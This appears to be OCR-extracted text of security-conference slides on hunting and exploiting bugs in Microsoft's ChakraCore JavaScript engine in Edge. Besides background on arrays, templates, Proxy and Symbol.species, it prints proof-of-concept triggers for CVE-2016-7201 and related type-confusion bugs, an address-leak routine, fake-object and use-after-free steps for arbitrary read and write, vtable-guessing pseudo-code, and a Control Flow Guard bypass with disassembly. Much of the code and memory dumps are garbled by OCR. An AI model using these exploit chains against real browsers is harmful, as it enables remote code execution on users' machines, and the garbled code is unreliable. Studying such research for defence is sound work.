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ChakraCore summary



What I1s chakra

Chakra is a JavaScriptengine developed by
Microsoft for its Microsoft Edge web browser.
It is a fork of the JScript engine used in

Internet Explorer.
Chakra

Developer(s) Microsoft
Development status Active

Operating system  Microsoft Windows

Type JavaScript engine
= License MIT License
E FaSter . Website github.com
E Support many new features —



Open source

DECEMBER 5, 2015 6:37 AM

Microsoft Edge’s JavaScript engine to go
open-source

By Gaurav Seth and Adalberto Foresti

2015125
Announce plans to open source

2016-1-13
Released ChakraCore under the MIT license on GitHub



MemGC

Refcount based GC
A UAFOUs heaven
A ie5-iell

Memory protector

A Isolated Heap & delayed free kill most of UAF
A Only protect stack/ reg

A UAF continue, pwn2own 2015

A iell

MemGC introduced in EDGE/WIin10

A New and improved UAF exploit mitigation
A Protect stack/reg/heap, killed most UAFs
A Prevent UAF bugs, but NOT other bugs
A Pwnfest 2016/pwn2own 2017



Why target at chakra

Script engine bug is more powerful than DOM bug
Open source, we can dig deeper into the core
One of the biggest attack surfaces in edge

. Any engine is not as good as expected at first

Our result:
20+ exploitable bugs at the first round of code review



Types of Chakra vulnerability



Template

What's the idea behind templates?

A template is a cookie -cutter which specifies how to cut cookies that look
pretty much the same

. Class template
Describes how to build a family of classes that look basically the same

. Function template
Describes how to build a family of similar looking functions.



Function template

. Which version of a function template should get called?
Depends on the parameters passed in

template <typename T> int main ()

void swap(int & x, int &vy) . {
{ ¥O|d swap(T& x, T&y) inti ), /*.7% swap(i,j); // Instantiates a swap for int

inttmp = x; Ttmp = x- floata ,b; /*..* swap( a, b); // Instantiates a swap for float

X =Y; < = p. - char c,d; /*.* swap(c, d); // Instantiates a swap for char

y = tmp; y - %/mp std :: strings ,t; /*.% swap(s,t); //Instantiates a swap for std::string

- ’ ...

} } :

Developer's assumption
A The types of variables won't change during the whole function
A Parameter's type can decide the right version of the function



Background of Array

JavascriptNativeIntArray [var intarr = [1]\ _ _
- Store integer intarr[0] = 1.1 |:>JavascrlptNatlveFIoatArray

- 4 bytes per Item intarr[0] = {} |:> JavascriptArray

N

JavascriptNativeFloatArray var fltarr = [1.1]
- Store float :> fltarr[O] = {} |:> JavascriptArray
- 8 bytes per Item

- J

JavascriptArray
- Store object
- 8 bytes per Item



Break assumption 1.
Variable type can change inside the chosen function

Real bug in chakra:
JavascriptFunction::EntryApply
JavascriptFunction::CalloutHelper
arr->ForEachlteminRange

InRange(uint32 startIndex, uint32 limitIndex, ScriptContext * scriptContext,

» startIndex, limitIndex, scriptConte
InRange<hasSideEffect>(JavascriptNativeIntArray: :FromVar(

ct>(JavascriptNativeFloatArray: : FromVar(

emplatedForEachItemInRange(T * 'y uint32 startIndex, uint32 limitIndex, Var m

(uint32 i = startIndex; i < limitIndex; i++)

Var element;
fn{i, TryTemplatedGetItem(arr, i, &element, scriptContext) ? element : missingl

gltem);

arr'stype can be changed inside TryTemplatedGetltem




Break assumption 2:
Choose the template function only based on param's type is not enough

Real bug:
Var JavascriptArray.:FilterHelper
2
Var element = nullptr;
2
If (newArr)// newArr's creation can be interrupted by user defined call back

{

newArr->[I)irectSetItemAt(i, element);//choose var version, if newArr
} @ is not var array, type confusion

T>
JavascriptArray: :DirectSetItemAt{uint32 itemIndex, T newValue)

(itemIndex < InvalidIndex);

S5parseArraysegment<T> *
uint32 offset = ite

(itemIndex »= seg->Lleft |




Function template

Mandatory choose the version of a function template

template <typename T>
void f ()

{
}

#include  <string>
void sample()

{

...

f<int> (); //type T will be int in this call
f<std :: string >(); //type T will be string in this call

Developer's assumption
The type of variable is definitely certain when calling the template

function



Real bug in chakra

void JavascriptArray..ForEachOwnMissingArraylndexOfObject
2
ArrayElementEnumerator e(arr, startindex, limitindex);

fn(index,|e.Getltem<Var>()); //assume arr is var, choose Getltem<Var>,
may lead to type confusion 1

{ >
T JavascriptArray::ArrayElementEnumerator: :GetIten()

[
L
(seg && index ¢ seg->length && index < endIndex &&
e B -
|SparseArraySegment<T>::IsMissingIten(&( (SparseArraySegment<T>*)seg)->elements[index]));

((SparseArraySegment<T>*)seg)->elements|index];




Optimization/Fastpath

Var JavascriptNativeArray: :FindMinOrMax(Js::ScriptContext * scriptContext, bool findMax)
{
), "Fastpath is only for arrays with one segment and no missing values™);

:In-- s CrmmmcnalnnauC nomant > T haadAC ammoamd s s CrmmmenfnnauC ammant s TAE VARG - At UAaAAf YN -
, Var JavascriptOperators::0P_LdCustomSy id ratorList(Var aRight, ScriptContext* scriptContext)

I
L

RecyclableObject* function = GetIteratorFunction(aRight, scriptContext);
JavascriptMethod method = function->GetEntryPoint();
it ((JavascriptArray::

Right) &% method == JavascriptArray::EntryInfo::Values.GetOriginalEntryPoint()) ||

Is(a
(TypedArrayBase::Is(aRight) && method == TypedArrayBase::EntryInfo::Values.GetOriginalEntryPoint()))

aRight;
Var result;
it (OP_GetElementI ArrayFastPath({JavascriptArray::FromVar({instance),

result;

'if (JavascriptArray::IsDirectAccessArray(newArr))
if ({{start + newlen) <= pArr->head->length) && newlen <= newArr->head->size)

it (isIntArray)




Real bug in chakra

Var JavascriptOperators::OP_LdCustomSpreadlteratorList(Var aRight, ScriptContext* scriptContext)

X
If ((JavascriptArray::Is(aRight) && method == JavascriptArray::EntryInfo::Values.GetOriginalEntryPoint()) ||
(TypedArrayBase::Is(aRight) && method == TypedArrayBase::EntryInfo::Values.GetOriginalEntryPoint()))

{

return aRight;|//meet some conditionsand enter fast path

} elsed
return{hew SpreadArgumergaRighy [/ slowpath

}

void JavasciiptFunction::SpreadAffisen issueappreadin this function

for (unsigned i = 1, argsindex = 1, spteadArgindex = 0; i < callinfo.Count; ++i)
if (Spreadfirgument::Is(instance

} else { y
for (uint32 j = 0; j «ur->GetLength()j++) {//loop count depend onarr->GetLength()

Var element;
if ('arr->DirectGetltemAtFull(j, &element))fall getter and enlargel NJXekyth
element = undefined;

}

destArgs.Values[argsindex++] = eleméiatyerflow here

1}

. Root Cause
arr->GetLength() ? Think againJ



A bug we prepared for pwn2own 2017

A bug we used to pwn Edge in pwnfest 2016

A bug we win the bounty of Microsoft Edge Web Platform on WIP
A bug fixed twice in the same security update

A bug potential exploitable even now

cC. C. C.

It is the same bug, and also different bugs

MS516-119 Scripting Engine Memory CVE-2016-3386 Matalie Silvanovich of Google Project Zero
Corruption Vulnerability

MS16-145 Scripting Engine Memory CVE-2016-7296 Linan Hao of Qihoo 360 Vulcan Team working with
Corruption Vulnerability POC/PwnFest

MS17-007 Scripting Engine Memaory Corruption CWVE-2017-0015 Simon Zuckerbraun, working with Trend
Vulnerability Micro' s Zero Day Initiative (ZD1)

MS17-007 Scripting Engine Memory Corruption CVE-2017-0032 Hao Linan of Qihoo 360 Yulcan Team

Vulnerability

X

CVE2017-0015 credit to Lokihart and Simon Zuckerbraun(they submit a same bug)



Optimization/Fastpath problems

Not only in chakra, but also in other browser:

Chrome - V8
., safari- webkit
., firefox - spidermonkey

bug goes on, never end



ES6 feature

Chakra has the most support for ES6 features of any shipping browser

N
o el (e
90% 71% 74% 65%
Compilers/polyfills Desktop browsers
90% 5= % 30% 19%: 5% 17% T 4% 63% = 2 e5% 12% 2% 54% 4%

Babel Type- CH cHf o |

E:‘;:;:‘r Traceu m:e_is Closure  Jsx'* Sc:'pt :hsifn IE10 IE11 Fm FF42 FF4F FF44 016'33 o:?éut o:aés 6.1, 7.1, [SF9 WK
" core-js © © o | [sSF7 sF8

4 “m 0/4 ‘
(o2 [ 02 [ oo [al[al] o |

https://blogs.windows.com/msedgedev/2015/12/05/open -source-chakra-core/#mfZ1bltRyyKC87c¢X.97



Proxy

‘ var p = new Proxy(target, handler);

Parameters

target
A target object (can be any sort of object, including a native array, a function or even another proxy)
[0 wrap with Proxy.

handler
An object whose properties are functions which define the behavior of the proxy when an operation
is performed on it.

Unexpected interrupt
Unexpected returned value
Unexpected logic

5

5

5



Unexpected interrupt  ~"

handler.construct()

handler.defineProperty()
T Il. |: :l

A Proxy monitor many kinds of actions handler.deletePropert

_ ] _ handler.get()
A Can trap in the middle of a function
handler.getOwnPropertyDescriptor()
nandler.getPrototypelf()
nandler.has( )
handler.isExtensible()
nandler.ownkeys()
nandler.preventExtensions()

nandler.set()

handler.setPrototypelf()



Bug

Var JavascriptArray::ReverseHelper(JavascriptArray* pArr,
Js:. TypedArrayBase* typedArrayBase, RecyclableObject* lelnjgth,
ScriptContext* scriptContext)

\\\\\\

if (pAre>1sFillFromPrototypes())

{
If (length % 2 == 0)
{
pArr->FillFromPrototype®, (uint32)length; /lusing Proxy
to invoke callback, change pArr's length andskeggth
while (seq)
{

nextSeg = segnext;
if (seg>length > 0)

\\\\\\\\

seg>left = ((uint32ength) - (seg>left + segplength);
// length is used without update



Poc:

var handler = {
getPrototypeOf: function(target, name){
b.push(0)//change the length of b and its first segment
return [1,2];
1
var p =new Proxy([], handler);
var b =11,2,3,4];
b.length=0xf
b. proto =p;

/linvoke callback
b.reverse()



Patch before PWNFEST in Nov 2016:

\\\\\\

while (seg)

{
nextSeg = segnext;
if (seg>length > 0)

\\\\\\\\

seg>left = ((uint32)length) > (segeft + seegrlength) ?
((uint32)length)- (seg>left + segrlength) : 0;// patched here
seg>next = prevSeq;
seg>EnsureSizelnBound();
pinPrevSeg = prevSeg;
prevSeg = seq;
}

seg = nextSegq;



Poc after patch Nov 2016 :

var funCount=0;
function callback()

{
/lchange the length of element_2
funCount++;
if(funCount==1)
{
for(var i=0;i<10;i++)
element_2.unshift(1);
}
}

element_2=new Array(19)

element_2[8]=0

element_2.reverse()
Array.prototype. defineGetter__ (0,function(){callback();return 1;})
//invoke callback using defineGetter

element_2.reverse()



Patch before PWN2OWN in Mar 2017:

if (pAre>IsFillFromPrototypes())

{
if (length % 2 == 0){
pArr->FillFromPrototypes(0, (uint32)length}

\\\\\\

I/l Above FillFromPrototypes call can change the length of the array. Our segment
calculation below will not work with the stale length.
//Update the length.

\\\\\\

while (seg)

{
if (seg>length > 0)

\\\\\\\\

seg>left = ((uint32)length) > (segeft + seg>length) ?
((uint32)length)- (seg>left + segrlength) : O;

\\\\\\



Unexpected returned value

var x = {}
Var intarray=[1,2,3]

X.__proto_ = Intarray // intarray will be change to Var Array

U Assumption in FillFromPrototypes
The variabl e Ypr barBadh@unMissSinghaaylsdexOf®bject
must be a Var Array

Javascriptarray: :Fil1F otot (uint22 startIndex, uint32 limitIndex)
i

(startIndex >= limitIndex)

RecyclableObject* prototype = this-»GetPrototype():

ile (JavascriptOperators::GetTypeld({prototype) != T
ibwnMissinghrrayIndex0fCbject{this, nullptr, prototype, startIndex, limitIndex,®, [this](uint32 index, Var walue) {
this-»SetIltem{index, value, PropertyOperation 2

1

prototype = prototype-»GetPrototype();



Use proxy to break this Assumption!

handler.getPrototypef()

A trap for Object. getPrototypedf

|

prototype = prototype ->GetPrototype();

Confusion

JavascriptNativelntArray

JavascriptNativeFloatArray “ JavascriptArray
JavascriptCopyOnAccessNativelntArray

ESS5Array



Bug

CVE-2016-7201

var intarr = new Array(1, 2, 3,4, 5, 6, 7)

var arr = new Array( aleri)

arrlength =24

arr.__proto = new Proxy({}, getPrototypeOf : function() {return intarr}})
//in the callback, return an int array to cause type confusion
arr.__proto___.reverse= Array.prototype. reverse

arr.reversg) //invoke callback

Exploit skills of this bug will be talked later



Unexpected logic

Proxy handler is like a hook

Some interesting hooks:
handler.has()
handler.ownKeys()
- You can return YES or NO as you want, no matter whether the target really

has the key/keys

handler.get ()
- You can return anything you want, no matter what the original value is

These hooks/traps may cause logic issues in some cases.



Bug

BOOLJavascriptOperatorssetiteny..., Var* value,...)

{
. POC RecyclableObjettobject =propertyOx
/I Loki pwn2own 2016 while @avascriptOperatorssetTypel@objes. ‘=
var target = new Array(1) Ty{Pe'ds_NU)'

var hapdler = { haS:():>true} if (object>Getltem(instance, index, value,
var ob] = new Proxy(target, handler) requestContexp{

alert(obj.concat()) return true;}
X
}
return false;/2. Because don 't have actually,
, Issue code: return false, but the variable value is not initializg|[l
Varsubltem }

if (JavascriptOperatorgiasitenfitemObject idxSublteny) //1. use proxy to cheat here, seems it ) (s tf
item

{
JavascriptOperatorsGetltem(itemObject idxSubltem &subltem scriptContex;

pDestArray>DirectSetltemAtdxDest subltem); //3.No check of returned value, ussubltemdirectly
}



Symbol.species

Specifies a function valued property that the constructor function uses to
create derived objects.

Two ways of using this feature:
A Interrupt in the middle of function
A Return unexpected type of value

Return unexpected type of value bug:
var arr = [alert,1,1,1,1,1,1,1,1,1,1,1,1]
varxx=11,1,1,1,1,1,1,1,1,1,1,1,1]
Object.defineProperty (arr.constructor, Symbol.species, {
value : function() {
return xx; //return an int array,causetype confusion

0

var x = arr.filter(function(e, index, array){return true;})



ES7 to be cont |



Chakra exploit skills



Review Bug:

CVE2016- 7201
var intarr = new Array(1, 2, 3, 4, 5, 6, 7)
var arr = new Arraglert)

arr.length = 24
arr.__proto__ = new Proxy({}, {getPrototypeOf:.function() {return intarr}})

arr.__proto__reverse= Array.prototypereverse

arrreverse)

Confusion
JavascriptNativelntArray
JavascriptNativeFloatArray ” JavascriptArray
JavascriptCopyOnAccessNativelntArray

ESS5Array

For pwnfest 2016

Fixed just one day before the contest



Root cause

JavascriptArray: :FillFromPrototypes{uint32? startIndex, uint32 limitIndex)

(startindex »>= limitIndex)

RecyclableObject* prototype -

le (JavascriptOperators::GetTypeld(prototype)
WwnMissingArrayIndexdfObject{this, nullptr, e, startIndex, limitIndex,@, [this]{uint32 index, Var walue)

this-»5etltem(index, walue,

prototype = prototype-:»GetPrototype();

limitindex):

uint32 index =

f (!baseArray->DirectGe aritemAt(i % &oldvalue, baseArray

n = destindex = start

(destArray == n T | ide

fn{index, e.GetItem<Var>());




Any Type Any Type

JavascriptArray (confusion)

Any Type

Array_A

., Bug Summary:

- Array_A and Array_Bcan be any type.

- Fetch an item from Array B (e.Getltem<Var> ()), and store itin Array A.
The 1 tem i s treated as YVary type,

., Abllities:
- Make a fake object
- Qut-of-bound read



Fake Object

JavascriptNativelntArray/ JavascriptNativeFloatArray

Fecth as var

JavascriptArray

Array A |addr_ob|

Pointed to any address. Fake object

var FakeObj = Array A[X]



OOB Read

JavascriptNativelntArray JavascriptNativelntArray

JavascriptArray (confusion)

oob fetch value
JavascriptArray

Array_A value ‘f

Read out data from the array next to Array B, treat it as an object

var oob_value = Array_A[X]



How to exploit CVE-2016-7201 ?



L eak+fakeobj
(Additional bug for leak)

function leak() {
var x =]
vary = {}
var leakarr = new Array(1, 2, 3)
y.__defineGetter__ ("1", function(){x[2] = leakarr; return Oxdeadbeef})
x[0]=1.1
X[2] = 2.2
X.__proto__ =y
function leak() {

alert(arguments[2])

}

leak.apply(1, x)

Two condition need to be met:
U A fully controllable buffer address
U Virtual table address, or Chakra module base address.



Condition 1

A fully controllable buffer address

VararrT ySé ' NN} @OnETTTTTTTTE AETTTTTTTTZ
<-- element count not larger thaBparseArraySegmentBas¢EAD CHUNK_SE2E

0000022f'c23b40a0 00007ffd 5b7433f0 0000022f ¢c2519¢c80
0000022f"c23b40b0 00000000° 00000000 00000000 00000005
0000022f'c23b40cO 00000000°00000012 0000022 c23b40e0
0000022f"c23b40d0 0000022f c23b40e0 0000022 c233c280
0000022f'c23b40e0 00000012 00000000 00000000°00000012
0000022f'c23b40f0 00000000°00000000 77777777 77777777
0000022f°c23b4100 77777777 77777777 77777777 77777777
0000022f°c23b4110 77777777 77777777 77777777 77777777
0000022f'c23b4120 77777777 77777777 77777777 77777777
0000022f'c23b4130 77777777 77777777 77777777 77777777



Condition 2

Leak chakra address
Parselnt(fakeUInt64Number)

JavascriptString *JavascriptConversion::ToString(Var aValue, ...)

case Typelds_UInt64Number:

{

unsigned __int64 value = JavascriptUInt64Number::FromVar(aVaetValue();

if ('Taggedint::IsOverflow(value))

goooozzo”
noooozzn”
popopzz0-
poooozz0”
noooozzn-
poooozz0-
ooooozzo”
nonoozzn”
poooozz0-
noooozzo”
noooogzn”

return scriptContextGetlntegerString((uint)value);

return JavascriptUInt64Number::ToString(aValue, scriptContext);

geldaBal
BzldaBbl
BEe=ldsEcD
geldaBdl
BzldaB=D
Beld=EED
Belda%0n
Bzlda%lh
Belda920
Belda®in
Belda94n

DoDO7EEd”
00000000°
00000000°
poD0D220"
0o000011°
00000000"
FERTEITY
FEFEIREE
PRIy
Q000000d

Eh743740
00oooDo00
00000012
fela?dcl
00000000
00000000
FITIITIT
FAFRITII
FIININNT
QOoogoa0ag

goooo2z20°
gooaaoan”
googoz22o°
QoogQaoan”
goooaoan”
goooanan”
0907
FRIITITN
1799797
noooa220°

S=00=a300
aoo3ooos
H=la7d=0
aooooooon
goooooylz
aooaooos
NN
E

FIT9TNVY -

D0D07Efd”

SE7433€0

ooooodia

Fake UintedMNumber

deldasfs
8=00a780] o
— Mext Array's Viable



Finish exploit:

Make a fake Uint32Array inside the leaked array

Using the leaked array to modify backend buffer field of the fake
Uint32Array

AAR/AAW



How to exploit CVE-2016-7201
without help of additional bugs?



auxSlots

class DynamicObiject : public RecyclableObject
private:
Var* auxSlots

mvar x=1[1,2,3]

auxSlots is O:

000002e7 4c15a8b0 00007ffd" 5b7433f0 000002e7 4¢c14b040
000002e7 4c¢15a8c00000000 000000000000000 00000005
000002e7 4c15a8d0 00000000 00000003 000002e7 4c15a8f0
000002e7 4c15a8e0 000002e7 4c15a8f0 000002e7 4bf6f4cO

var X =[1,2,3]
X[Symbol(‘duang’)] = 4

000002e7°4c152920 00007ffd 5b7433f0 000002e7 4c00eccO
000002e7 4¢15293M00002e7 4bfca5c00000000° 00000005
000002e74c152940 00000000 00000003 000002e7 4c152960
000002e7°4c152950 000002e7 4c152960 000002e7 4bf6c0el
0:009> dg 000002e7 4bfca5cO

000002e7 4bfca5c®0010000 000000060000000 00000000
000002e7 4bfca5d0 00000000°00000000 0O000000"00000000



Plan:

JavascriptNativelntArray JavascriptNativelntArray
JavascriptArray (confusion) l

Var Var Var

JavascriptArray

Array A fakeobj

Array fengshui, and activate their auxSlotsfields.

Oob read the next array s auxSlotsand put it into Array_A
Get a fake object reference point to auxSlotsfrom Array A[X]
Fill fields of fake object into auxSlots

Reference fake object achieve AAR/AAW

a bk wnE



Guess address

. Pointer problem:
- Virtual tables

- Type * type
U Guess virtual tables
JavascriptArray::ConcatArgs

bool JavascriptArray::IsDirectAccessArray(Var aValue)

{
return RecyclableObject::Is(aValue) &&

(VirtualTableInfo<JavascriptArray>::HasVirtualTable(aValue) ||
VirtualTableInfo<JavascriptNativelntArray>::HasVirtual Table(aValue) ||
VirtualTablelnfo<JavascriptNativeFloatArray>::HasVirtualTable(aValue));

}
Pseudo code:
for (addr = offset_arrVtable; addr < Oxffffffffffff; addr += 0x10000)

{
auxSlots[0] = addr

if (quess()) {
chakra_base = addioffset_arrVtable

break

4= Need a few seconds



Guess address

class Type
{ b
friend class DynamicObject; - . : . g
friend class GlobalObject Typeld is the most important field, which specifies tt
friend class ScriptEngineBase; type of Object:
Typelds_Array = 28,
protected: Typelds_ArrayFirst = Typelds_Array,
Typeld typeld,; | Typelds_NativelntArray = 29,
Ig\?:;?i%?ﬁ?bsrl;:l/?‘%;/ascriptLibrary' #T ENABLE_COPYONACCESS_ARRAY
RecyclableObject* prototype: ’ TypgIds_CopyOnAccessNatlvelntArray = 30,
N #endif
} Typelds_NativeFloatArray = 31,

type addr = chakra base + offset value 29



Finish the exploit:

Make a fake big Array inside the auxSlots
Set the segment of this array to an Uint32Array

_ AAR/AAW



How to exploit CVE-2016-7201
without help of additional bugs,
and faster?



Weakness of MemGC

GC Object 1

addr_A points to the start of the object
addr_B points to some place inside the object

addr_A addr_E

w Object 1 can not be freed

Object 1 can be freed



Convert bug to UAF

Key point:
. FInd an "internal pointer"
. Reference itin JS layer



Convert bug to UAF

, |l nt er nal pointerY
Array.segment

000002e7 4bfe7de0 00007ffd 5b7433f0 000002e7 4bfal380

000002e7 4bfe7df0 00000000°00000000 00000000°00000005

000002e7 4bfe7e00 00000000 00000@IWO02e7 4bfe7e20 //internel pointer
000002e7 4bfe7e10 000002e7 4bfe7e20 000002e7 4bf6c6a0

000002e7 4bfe7e20M0000010°00000000 0OO00000°00000012

000002e7 4bfe7e30 00000000°00000000 77777777 77777777

. Ref"internal pointer" in javascript
oob read



Convert bug to UAF

Freed -> occupied with JavaScriptArray -> used

Why JavaScriptArray?
(((uintptr_t)aValue) >> VarTag_Shift) ==

Freed and occupied with jsarray

[/ /before freelspray

eeepa25d” f8296a80
\eepe25d” fe206a98
eeepa2sd” fa296aald
\eepe25d” fe296aba
eeepa25d” f0296acd
\eepe25d” fe296ade
eeepa2sd” fa296ach
|eepe2cd” fe2oeafe
eeepa2sd” fa29sbaa

\eepe2cd” fe2ocble

aeea7ffe”

2e0paaee"

aeepaaee”

eeepa25d”

aeepaale’

2e0paaee"

IV

T

IV

T

ddzb33fe

Baaaaaea

aaaaaala

fe296ace

aaaaaaea

Baaaaaea

FIIEEETY

FIIIEEI

FIIEEETY

FIIIEEI

eeeaa2sd” fed423e48

2200260 BRA3005

eeeea25d” fO296ack

2eepa25d” fe2lccin

feepaaee” BEaaea12

FIIFFTIyr IRy

FITFIIIE NIV

FIIFFTIyr IRy

FITFIIIE NIV

FIIFFTIyr IRy

ffatter freelspray

2e00025d” f0296a80

eeepa2sd” fe296a98

eeepa25d” fe206aal

eeepa2sd” fe29ecaba

ee00025d” f0296acd

epaee25d” fe2a6ade

eeepa25d” fe206ael

epaee2sd” fe2asate

eeepa25d” fe20sbaa

epaee25d” fe2asble

aaaaaaaa

aaaaaaaa

66666666

66666666

>bbbbbbbb

66666666

66666666

66666666

66666666

66666666

eapaaall

aaaleass

aaalaaas

aaaleaas

aaaloags

aaalaaas

aaaloags

aaalaaas

aaaloags

eaaaea1l

66666666

b6bb6b666

66666666

b6bb6bb66

66666666

66666666

66666666

66666666

66666666

aaalasaa

aaalasas

aaalasaa

eaelases

eaalapaa

aaalasaa

eaalapaa

aaalasaa

eaalapaa



Finish exploit:

1.Use oob to read out some field of next array, cached them as object
var JavascriptNativelntArray _segment = objarr[0]

var JavascriptNativelntArray type = objarr[5]

var JavascriptNativelntArray vtable = objarr[6]

2.Make an UAF, and use var array to occupy the freed content

3.Making fake object in this var array
fakeobj_vararr[5] = JavascriptNativelntArray_ vtable
fakeobj_vararr[6] = JavascriptNativelntArray_type
fakeobj_vararr[7] =0

fakeobj_vararr[8] = 0x00030005

fakeobj vararr[9] = 0x1234

fakeobj_vararr[10] = uint32arr

fakeobj_vararr[11] = uint32arr

fakeobj_vararr[12] = uint32arr

4.reference fake object
alert(JavascriptNativelntArray _segment.length)



Bypass CFG/RFG



Bypass x64 Edge Control Flow Guard(CFG)

A Edge Version: 11.0.10586.494 x64
A Precondition: Arbitrary read&write
A Method: CFG Unprotected + Logic Vulnerability



X chakra! tailMerge * dll:

00007ffe 6a5f0c80 chakra! tailMerge OLEAUT32_dll

00007ffe 6a5f07e0 chakra!_tailMerge  CRYPTSP_dII

00007ffe 6a5f0b20 chakra!_tailMerge api_ms win_core _winrt |1 1 0 dll
00007ffe 6a5f0bcO
chakra!_tailMerge_api_ms_win_ro_typeresolution |11 1 0O dll

00007ffe 6a5f0740

chakra!_tailMerge_ext ms_win_rometadata_dispenser |1 1 0 _dll

All CFG Valid and no CFG check inside!!!



__taillMerge  OLEAUT32_dIl

.text:0000000180280C80 __ tailMerge  OLEAUT32_dll proc near ; CODE XREF:

__imp_load_SysFreeString+7j

.text:0000000180280C80
.text:0000000180280C80
.text:0000000180280C85
.text:0000000180280C8A
.text:0000000180280C8F
.text:0000000180280C94
.text:0000000180280C98
.text:0000000180280C9E
.text:0000000180280CA4
.text:0000000180280CAA
.text:0000000180280CBO
.text:0000000180280CB3
.text:0000000180280CBA
.text:0000000180280CBF
.text:0000000180280CC5
.text:0000000180280CCB
.text:0000000180280CD1
.text:0000000180280CD7
.text:0000000180280CDC
.text:0000000180280CE1
.text:0000000180280CE9
.text:0000000180280CF1
.text:0000000180280CF5
.text:0000000180280CF7

; __imp_load_SysAllocString+7j ...
mov  [rsp+arg_0], rcx
mov  [rsp+arg_8], rdx
mov [rsp+arg_10], r8
mov [rsp+arg_18], r9
sub rsp, 68h
movdga [rsp+68h+var_48], xmmO0
movdqga [rsp+68h+var_38], xmm1
movdga [rsp+68h+var_ 28], xmm2
movdqga [rsp+68h+var_18], xmm3
mov  rdx, rax
lea rcx,  DELAY_IMPORT_DESCRIPTOR_OLEAUT32 dll
call _ delayLoadHelper2 //invoke ntdll'LdrResolveDelaylLoadedAPI
movdga xmmaO, [rsp+68h+var_ 48]
movdga xmm1, [rsp+68h+var_38]
movdga xmmz2, [rsp+68h+var_28]
movdga xmma3, [rsp+68h+var_ 18]
mov  rcX, [rsp+68h+arg_0]
mov  rdx, [rsp+68h+arg 8]
mov 8, [rsp+68h+arg_10]
mov 9, [rsp+68h+arg_18]
add rsp, 68h
jmp  short $+2
jmp  rax



__tailMerge_ OLEAUT32_dIl

__Int64 __ fastcall LdrResolveDelayLoadedAPI(__int64 al base, BYTE *a
__Int64 a3, __int64 a4, int645 addyunsigned int a6)

{
V6 = az;
v7_base = al base;
v8 retfun_addr = 0i64;
else {
v8 retfun_addr = *a5_ addr
v9 offset = *a5_addrv7_base;
v10 = v14;
if (v9_offset < *(_ DWORD *)(v14 + 64) ) { //if inside the dll
if (*(_ DWORD *)(v14 + 104) & 0x8000 )
v11 = LdrpHandleProtectedDelayload(v14, ( DWORD)v6);
else
v11 = LdrpHandleUnprotectedDelayLoad(v14, ( DWORD)v6);
v8_retfun_addr = v11,;

}
LdrpDereferenceModule(v10);

}

return v8 retfun_addr; /it outside, return *a5_addr directly

}



Jumperfunction:

Edgehtml!CIDBIndexOpenKeyCursorTask::DoResultPrivate

XX
.text:0000000180021DEE
.text:0000000180021DF1
.text:0000000180021DF5
.text:0000000180021DFB
.text:0000000180021E00
.text:0000000180021E03
.text:0000000180021E05
.text:0000000180021E0B
.text:0000000180021E12
.text:00000001805ABCD4
.text:00000001805ABCD7
.text:00000001805ABCDE
.text:00000001805ABCE?2
.text:00000001805ABCEG6
.text:00000001805ABCE9
XX
.text:00000001805ABD19
.text:00000001805ABD1C
.text:00000001805ABD21

.text:00000001805ABD26

mov IS, Ircx
cmp byte ptr [rbp+40h], O
jnz  loc_1805ABD87
and qword pt2@iak O
mov  ebx, [rcx+20h]
test ebx, ebx
js loc_1805ABD61
cmp  byte ptr [rcx+0COh], O
jnz  loc_1805ABCD4
mov  rax, [rsi]
lea  rl14, [rsi+0AON]
mov  rbx, [rbp+30h]
mov  rdi, [rax+48h]
mov  rcx, rdi ; this
call cs:__guard_check icall_fptr ;

mov  rax, [r14] /l used to control rax
mov  [rsp+68h+var_40], rax
mov  [rsp+68h+var_48], rbx

call rdi /lused to call _tailMerge * dlI



Control the object which rcx pointed to

A ScriptFunctiorobject
+0:vtable// Fakevtableand set vtable+48h with Address ¢hilMerge * dl

+28h:pFunctionBody
+AOh://write with 0x44444444°44444444 | codes in it will be executed finally

A FunctionBodybject
+8:jitAddress [/write with the address of Jumper function

chakra!NativeCodeGeneratoaCheckCodeGenThunk

Invokejsfunction: jitAddress=CIDBIndexOpenKeyCursortd3&ResultPrivate
_tailMerge *_dll: CIDBIndexOpenKeyCursortd3&ResultPrivate
RAX=0x44444444 44444444 RCX--> ScriptFunctiorobject

Return to tailMerge * dll:
RAX=0x44444444 44444444,
JMpRAX;

LdrResolveDelayLoadedAPI
*ab addr=0x44444444 44444444



Final result:

0:010>

chakra!_tailMerge_ OLEAUT32_dlI+0x77:

00007ffe 6a5f0cf7 ffeO jmp  rax {44444444°44444444}
0:010> kn

# ChildSP RetAddr Call Site

00 000000cf b3efb968 00007ffe 6b0abd28 chakra! tailMerge. OLEAUT32_dll+0x77
01 000000cf b3efb970 00007ffe"6a5ef503
edgehtml!CIDBIndexOpenKeyCursorTask::DoResultPrivate+0x589f58

02 000000cf b3efb9e0 00007ffe 6a5a9d73 chakralamd64 CallFunction+0x93

03 000000cf b3efbad40 00007ffe"6a5a924d
chakral!Js::JavascriptFunction::CallFunction<1>+0x83

\\\\\\



Bypass x64 Edge Control Flow Guard

tF GOK MY {6AGOKAY 3 {ditby@Bultd RA & LIt

CFG 'Check’” Mode (Windows 10) CFG ‘Dispatch’ Mode (New)

mov rox,<<icall target>>
call [ guard check icall fptr]

mov rax,<<icall target>>
call [ guard dispatch icall fptr]

call rcx

Check Mode versus Dispatch Mode (fidata Driven Software Seculity

U Patch time: Windows 10 Anniversary Update
U Impacteliminate available jumper functions

Patch 2: set tailMerge * dll functions CFG invalid

U Patch time: Windows 10 Creators update


http://gsec.hitb.org/materials/sg2016/COMMSEC D1 - Sweety Chauhan - Data Driven Software Security.pdf

Edge Return Flow Guard(RFG)

Introduced in Windows 10 14942, but disabled later

64-bit user mode Per-function instrumentation is materialized at page-in

address space Prologue (9 bytes)
488b0424 mov rax,qword ptr [rsp]
6448890424 mov gword ptr fs:[rsp],rax
Epilogue (15 bytes)
644c¢8blc24 mov rll,qword ptr fs:[rsp]
4c3blc24 cmp rll,quord ptr [rsp]
128TB = 018518200300 jne DLL! guard_ss_verify failure

Control Stack
|

FS segment base set to displacement between control & data stack

Thread->UserFsBase = ControlStack.BaseAddress — DataStack.BaseAddress

C nov eax, ThUserFsBase[rsi] . load the bottom of the control stack delta FS base address
ontext mou  edx, ThUserFsBase + A[rsi] ; load the top of the control stack delta FS base address
SWitCh nov ecx, MSR_FS_BASE ; get the FS base MSR number

WFmsr ; urite the control stack delta FS base address

No pointers to a control stack exist in user mode memory

RFG key design concepts(frbfitrosoft’s strategy and technology improvements toward mitigating
arbitrary native code executiyn

Data Stack



https://www.slideshare.net/CanSecWest/csw2017-weston-miller-csw17mitigatingnativeremotecodeexecution

